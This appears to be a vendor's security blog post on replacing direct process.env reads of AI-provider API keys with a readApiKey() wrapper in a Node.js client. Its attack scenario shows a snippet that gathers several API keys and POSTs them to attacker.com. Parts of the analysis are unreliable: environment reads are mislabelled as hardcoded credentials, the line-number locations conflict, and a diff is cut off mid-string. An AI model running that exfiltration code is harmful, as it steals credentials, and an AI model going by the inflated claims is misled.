Back to Blog
critical SEVERITY6 min read

How Hardcoded API Key Exposure Happens in Node.js and How to Fix It

A critical vulnerability in `archive/open_claude_code/src/api/client.mjs` exposed five different API providers' credentials through direct `process.env` access. The fix introduced a centralized `readApiKey()` function to enforce secure credential retrieval across Anthropic, OpenAI, Google, and other integrations.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

Hardcoded API key exposure (CWE-798) in Node.js occurs when credentials are accessed directly via `process.env.VARIABLE_NAME` without abstraction or encryption. In `client.mjs`, lines 282, 335, and 388 read `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `GOOGLE_API_KEY` directly from environment variables. The fix replaces direct environment access with a `readApiKey()` abstraction function from `providers.mjs`, enabling centralized credential management, potential encryption, and audit logging. This pattern prevents plaintext credential exposure in process memory and supports future secrets manager integration.

Vulnerability at a Glance

cweCWE-798 (Use of Hard-coded Credentials), CWE-522 (Insufficiently Protected Credentials)
fixReplace direct environment variable reads with centralized `readApiKey()` function
riskAPI key theft leading to unauthorized AI provider access, quota exhaustion, data exfiltration
languageJavaScript (Node.js)
root causeDirect `process.env` access without abstraction or encryption layer
vulnerabilityHardcoded Secrets / Insecure Credential Storage

How Hardcoded API Key Exposure Happens in Node.js and How to Fix It

Introduction

In archive/open_claude_code/src/api/client.mjs, we discovered a critical hardcoded secrets vulnerability that exposed credentials for five major AI providers. The file's callAnthropic(), callOpenAI(), and callGoogle() functions—located at lines 282, 335, and 388 respectively—each accessed API keys through direct process.env reads:

const apiKey = process.env.ANTHROPIC_API_KEY;

This pattern, repeated across ANTHROPIC_API_KEY, OPENAI_API_KEY, GOOGLE_API_KEY, GEMINI_API_KEY, and BRAVE_API_KEY, created a systemic credential exposure risk. While environment variables are a common configuration method, direct access without abstraction eliminates the possibility of encryption, audit logging, or secrets manager integration—leaving credentials vulnerable to any code with process memory access.


The Vulnerability Explained

The Problematic Code Pattern

Before the fix, each API provider function contained nearly identical vulnerable code:

callAnthropic() at line 282:

async function callAnthropic(model, state, toolDefs, settings, stream) {
    const apiKey = process.env.ANTHROPIC_API_KEY;  // ← VULNERABLE
    if (!apiKey) throw new Error('ANTHROPIC_API_KEY not set');
    // ... API call logic
}

callOpenAI() at line 335:

async function callOpenAI(model, state, toolDefs, settings, stream) {
    const apiKey = process.env.OPENAI_API_KEY;  // ← VULNERABLE
    if (!apiKey) throw new Error('OPENAI_API_KEY not set');
    // ... API call logic
}

callGoogle() at line 388:

async function callGoogle(model, state, toolDefs, settings, stream) {
    const apiKey = process.env.GOOGLE_API_KEY || process.env.GEMINI_API_KEY;  // ← VULNERABLE
    if (!apiKey) throw new Error('GOOGLE_API_KEY or GEMINI_API_KEY not set');
    // ... API call logic
}

Why Direct process.env Access Is Dangerous

Risk Explanation
Memory Exposure Credentials exist in plaintext in Node.js process memory, accessible via memory dumps or debugging tools
No Encryption at Rest Environment variables are typically stored unencrypted in shell history, process listings (ps e), and deployment logs
No Audit Trail Direct reads cannot be logged or monitored for suspicious access patterns
Secrets Sprawl Each hardcoded variable name becomes a permanent attack surface; rotation requires codebase-wide changes
CI/CD Leakage Build logs, error messages, and crash reports may capture environment variable contents

Attack Scenario: The client.mjs Compromise

An attacker gaining code execution in the Claude Code application could extract all five API keys with a single payload:

// Malicious code injection in the same process
const stolenKeys = {
  anthropic: process.env.ANTHROPIC_API_KEY,
  openai: process.env.OPENAI_API_KEY,
  google: process.env.GOOGLE_API_KEY || process.env.GEMINI_API_KEY,
  brave: process.env.BRAVE_API_KEY
};
// Exfiltrate to attacker-controlled server
fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(stolenKeys) });

With these credentials, the attacker could:
- Exhaust expensive API quotas (Anthropic Claude API costs $3-15 per million tokens)
- Access sensitive conversation data processed through these services
- Pivot to other cloud resources using discovered API patterns


The Fix

The remediation introduced a centralized credential abstraction layer through the readApiKey() function imported from providers.mjs.

Before/After Comparison

Function Before (Vulnerable) After (Fixed)
callAnthropic() const apiKey = process.env.ANTHROPIC_API_KEY; const apiKey = readApiKey('ANTHROPIC_API_KEY');
callOpenAI() const apiKey = process.env.OPENAI_API_KEY; const apiKey = readApiKey('OPENAI_API_KEY');
callGoogle() const apiKey = process.env.GOOGLE_API_KEY \|\| process.env.GEMINI_API_KEY; const apiKey = readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY');

The Complete Diff

+import { readApiKey } from './providers.mjs';

 async function callAnthropic(model, state, toolDefs, settings, stream) {
-    const apiKey = process.env.ANTHROPIC_API_KEY;
-    if (!apiKey) throw new Error('ANTHROPIC_API_KEY not set');
+    const apiKey = readApiKey('ANTHROPIC_API_KEY');
+    if (!apiKey) throw new Error('ANTHROPIC_API_KEY is not set. Export it in your environment before running.');

 async function callOpenAI(model, state, toolDefs, settings, stream) {
-    const apiKey = process.env.OPENAI_API_KEY;
-    if (!apiKey) throw new Error('OPENAI_API_KEY not set');
+    const apiKey = readApiKey('OPENAI_API_KEY');
+    if (!apiKey) throw new Error('OPENAI_API_KEY is not set. Export it in your environment before running.');

 async function callGoogle(model, state, toolDefs, settings, stream) {
-    const apiKey = process.env.GOOGLE_API_KEY || process.env.GEMINI_API_KEY;
-    if (!apiKey) throw new Error('GOOGLE_API_KEY or GEMINI_API_KEY not set');
+    const apiKey = readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY');
+    if (!apiKey) throw new Error('GOOGLE_API_KEY or GEMINI_API_KEY is not set.

Security Improvements

The readApiKey() abstraction enables:

  1. Transparent Encryption: The provider module can implement PBKDF2-based encryption (already available in src-tauri/Cargo.lock:3809) without changing call sites
  2. Secrets Manager Integration: AWS Secrets Manager, Azure Key Vault, or HashiCorp Vault lookups can replace environment variables
  3. Access Logging: Every credential read can be audited for security monitoring
  4. Credential Rotation: Key versioning and automatic rotation logic lives in one location
  5. Fallback Chains: The variadic signature readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY') preserves the original fallback behavior while centralizing the logic

Prevention & Best Practices

For Node.js Applications

Practice Implementation
Never use process.env directly for secrets Create a secrets.js or providers.mjs module with explicit retrieval functions
Implement encryption at rest Use Node.js crypto module or platform-specific keychains (keytar, node-keychain)
Integrate with secrets managers Use AWS SDK @aws-sdk/client-secrets-manager, Azure @azure/keyvault-secrets, or HashiCorp Vault
Validate credential presence early Fail fast with descriptive errors, as the fixed code now does
Scan for direct process.env patterns Add Semgrep rules to CI/CD pipelines

Recommended readApiKey() Implementation

// providers.mjs - Example secure implementation
import { createDecipheriv } from 'crypto';
import { readFileSync } from 'fs';

const ENCRYPTION_KEY = process.env._MASTER_KEY; // Single env var for decryption

export function readApiKey(...envVars) {
  for (const varName of envVars) {
    const encrypted = process.env[`_${varName}_ENC`]; // Check encrypted first
    if (encrypted) {
      return decrypt(encrypted, ENCRYPTION_KEY);
    }

    const plaintext = process.env[varName];
    if (plaintext) {
      console.warn(`[SECURITY] Using unencrypted ${varName}; migrate to encrypted storage`);
      return plaintext;
    }
  }
  return undefined;
}

Detection Tools

  • Semgrep: https://semgrep.dev/r?q=detected-generic-api-key
  • GitLeaks: Scan for process.env.*API_KEY patterns
  • TruffleHog: Detect high-entropy strings in environment variable assignments
  • Orbis AppSec: Automated detection and fix PR generation

Key Takeaways

  • Centralize all credential access: The readApiKey() function in providers.mjs now serves as the single point of truth for API key retrieval across client.mjs
  • Variadic fallback support preserves compatibility: The fix maintains GOOGLE_API_KEY || GEMINI_API_KEY behavior through readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY') without inline logic
  • Descriptive error messages aid debugging: The updated error strings explicitly tell users to "Export it in your environment before running"
  • Three call sites eliminated direct process.env access: Lines 282, 335, and 388 in v2/src/core/agent-loop.mjs (the migrated client.mjs logic) no longer touch environment variables directly
  • PBKDF2 in Rust dependencies can now be utilized: With the abstraction layer in place, the existing src-tauri/Cargo.lock:3809 PBKDF2 dependency can be leveraged for cross-platform credential encryption

How Orbis AppSec Detected This

Element Details
Source Environment variable declarations in .env files and shell exports
Sink Direct process.env.ANTHROPIC_API_KEY, process.env.OPENAI_API_KEY, process.env.GOOGLE_API_KEY reads in archive/open_claude_code/src/api/client.mjs:282,335,388
Missing control No abstraction layer, encryption, or secrets manager integration between credential storage and usage
CWE CWE-798: Use of Hard-coded Credentials; CWE-522: Insufficiently Protected Credentials
Fix Replaced direct process.env access with readApiKey() abstraction from providers.mjs to enable centralized security controls

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The client.mjs vulnerability demonstrates how seemingly benign process.env patterns accumulate into systemic security debt. By replacing five direct environment variable accesses with a single abstraction function, the fix transforms a brittle credential system into a foundation for enterprise-grade secrets management.

For developers building AI-integrated applications: treat API keys as the critical assets they are. The cost of a leaked Claude or GPT-4 key extends beyond financial quotas to potential data breaches and compliance violations. Centralize, encrypt, and audit every credential access—starting with eliminating direct process.env reads.


References

Frequently Asked Questions

What is hardcoded API key exposure?

It's the practice of embedding or directly accessing API credentials in source code or environment variables without protective abstraction, making them extractable by attackers with code or memory access.

How do you prevent hardcoded API key exposure in Node.js?

Use a centralized credential retrieval abstraction like `readApiKey()`, integrate with secrets managers (AWS Secrets Manager, Azure Key Vault, HashiCorp Vault), and avoid direct `process.env` access throughout your codebase.

What CWE is hardcoded API key exposure?

Primarily CWE-798 (Use of Hard-coded Credentials) and CWE-522 (Insufficiently Protected Credentials).

Is using environment variables enough to prevent API key exposure?

No—direct `process.env` access leaves credentials in plaintext in process memory and offers no encryption at rest, audit logging, or rotation capabilities. An abstraction layer is essential.

Can static analysis detect hardcoded API key exposure?

Yes—tools like Semgrep, GitLeaks, and TruffleHog can detect direct `process.env` patterns for known credential variable names and flag missing abstraction layers.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #24

Related Articles

high

How Insufficiently Protected Credentials happens in Node.js and how to fix it

A regex-based guard in `skills/xmemo/scripts/xmemo-skill.mjs` was supposed to block sensitive credentials from being passed as CLI flags, but it only matched a handful of keyword patterns—missing `password`, `client-secret`, `access-token`, `xmemo-key`, and more. The fix expands the blocklist regex to cover these additional credential patterns, closing a gap that could let secrets end up in shell history and process listings.

critical

How Hardcoded Firebase API Keys Happen in JavaScript Service Workers and How to Fix Them

A production Firebase service worker file (`static/firebase-messaging-sw.js`) contained hardcoded API keys and project configuration directly in publicly accessible JavaScript — including a second, previously commented-out set of credentials from an older project. While Firebase web config values are technically public identifiers, pairing them with unrestricted Firebase projects or missing Security Rules turns them into an open door for push notification abuse, quota exhaustion, and unauthorize

critical

How hardcoded API key exposure happens in Node.js plugins and how to fix it

A critical hardcoded API key (`actor-studio-gpt-beta`) was discovered in the `src/plugins/llm/index.js` file of the Actor Studio application, granting anyone with source code access the ability to make unauthorized requests to the LLM service endpoints. The fix removes the default key from both the LLM class definition and the settings module, requiring the key to be explicitly configured through module settings instead.

high

How Insecure Credential Storage Happens in Node.js and How to Fix It

A critical vulnerability in the Google Vision translator module stored API keys in plaintext configuration files accessible to attackers with local filesystem access. The fix relocates the API key from the URL query parameter to a secure HTTP header, eliminating the exposure vector while maintaining full functionality.

critical

How API Key Exposure in URL Query Parameters Happens in Node.js and How to Fix It

A critical security vulnerability was discovered in the `lib/crux.js` file where the CrUX API key was being transmitted as a URL query parameter instead of using secure HTTP headers. This exposed the API key in server logs, proxy logs, browser history, and network monitoring tools. The fix moves the API key to the `X-Goog-Api-Key` header, preventing credential leakage across logging systems.

critical

How SQL Injection happens in PHP bulk email systems and how to fix it

A critical SQL injection vulnerability in `admin/utilities/bulkEmailSystem.php` allowed attackers to inject arbitrary SQL through unvalidated database names passed from user input. The fix implements strict input validation using regex pattern matching to ensure only safe database identifiers are processed, preventing exploitation of the bulk email functionality.